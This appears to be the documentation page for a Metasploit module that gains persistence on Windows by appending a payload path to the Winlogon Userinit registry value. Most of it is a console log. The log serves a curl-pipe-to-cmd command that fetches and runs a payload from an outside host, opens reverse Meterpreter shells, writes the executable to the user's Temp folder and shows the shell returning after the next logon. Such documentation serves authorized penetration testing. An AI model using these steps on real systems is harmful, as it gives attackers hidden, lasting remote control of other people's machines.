Diego Ledda
112 lines
4.3 KiB
Markdown
112 lines
4.3 KiB
Markdown
## Vulnerable Application
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This module will install a payload that is executed during user logon.
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It writes a payload executable to disk and modifies the Userinit registry value
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in "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" to append the
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payload path, causing it to execute when any user logs in.
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## Verification Steps
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1. Start msfconsole
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2. Obtain an administrator level meterpreter on Windows
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3. Do: `use modules/exploits/windows/persistence/registry_userinit`
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4. Do: `set session #`
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5. Do: `run`
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6. On next user login, You should get a shell.
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## Options
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### PAYLOAD_NAME
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Name of payload file to write. Random string as default.
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## Scenarios
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### Windows 10 1909 (10.0 Build 18363)
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Initial admin shell
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```
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resource (/root/.msf4/msfconsole.rc)> setg verbose true
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verbose => true
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resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
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lhost => 1.1.1.1
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resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
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payload => cmd/linux/http/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
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[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
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[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
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fetch_command => CURL
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resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
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fetch_pipe => true
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resource (/root/.msf4/msfconsole.rc)> set lport 4450
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lport => 4450
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resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
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FETCH_URIPATH => w3
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resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
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FETCH_FILENAME => mkaKJBzbDB
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resource (/root/.msf4/msfconsole.rc)> to_handler
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[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe
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[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
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[*] Payload Handler Started as Job 0
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[*] Fetch handler listening on 1.1.1.1:8080
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[*] HTTP server started
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[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg
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[*] Adding resource /w3
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[*] Started reverse TCP handler on 1.1.1.1:4450
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msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) >
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[*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg
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[*] Sending payload to 2.2.2.2 (curl/7.79.1)
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[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49747) at 2026-01-03 16:20:11 -0500
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msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
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[*] Starting interaction with 1...
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meterpreter > getuid
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Server username: WIN10PROLICENSE\windows
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meterpreter > sysinfo
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Computer : WIN10PROLICENSE
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OS : Windows 10 1909 (10.0 Build 18363).
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Architecture : x64
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System Language : en_US
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Domain : WORKGROUP
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Logged On Users : 2
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Meterpreter : x64/windows
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meterpreter > background
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[*] Backgrounding session 1...
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```
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Install persistence
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```
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msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/registry_userinit
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[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
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msf exploit(windows/persistence/registry_userinit) > set PAYLOAD windows/meterpreter/reverse_tcp
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PAYLOAD => windows/meterpreter/reverse_tcp
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msf exploit(windows/persistence/registry_userinit) > set session 1
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session => 1
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msf exploit(windows/persistence/registry_userinit) > exploit
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[*] Exploit running as background job 1.
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[*] Exploit completed, but no session was created.
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[*] Started reverse TCP handler on 1.1.1.1:4444
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msf exploit(windows/persistence/registry_userinit) > [*] Running automatic check ("set AutoCheck false" to disable)
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[+] The target is vulnerable. Registry likely exploitable
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[+] Writing payload to C:\Users\windows\AppData\Local\Temp\UASEQXKrCsOUN.exe
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[*] Updating 'C:\Windows\system32\userinit.exe,' to 'C:\Windows\system32\userinit.exe,C:\Users\windows\AppData\Local\Temp\UASEQXKrCsOUN.exe'
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[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260103.2052/WIN10PROLICENSE_20260103.2052.rc
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```
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Logout, and log back in to trigger payload execution
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```
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[*] 2.2.2.2 - Meterpreter session 1 closed. Reason: Died
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[*] Sending stage (188998 bytes) to 2.2.2.2
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[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49749) at 2026-01-03 16:21:15 -0500
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msf exploit(windows/persistence/registry_userinit) >
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```
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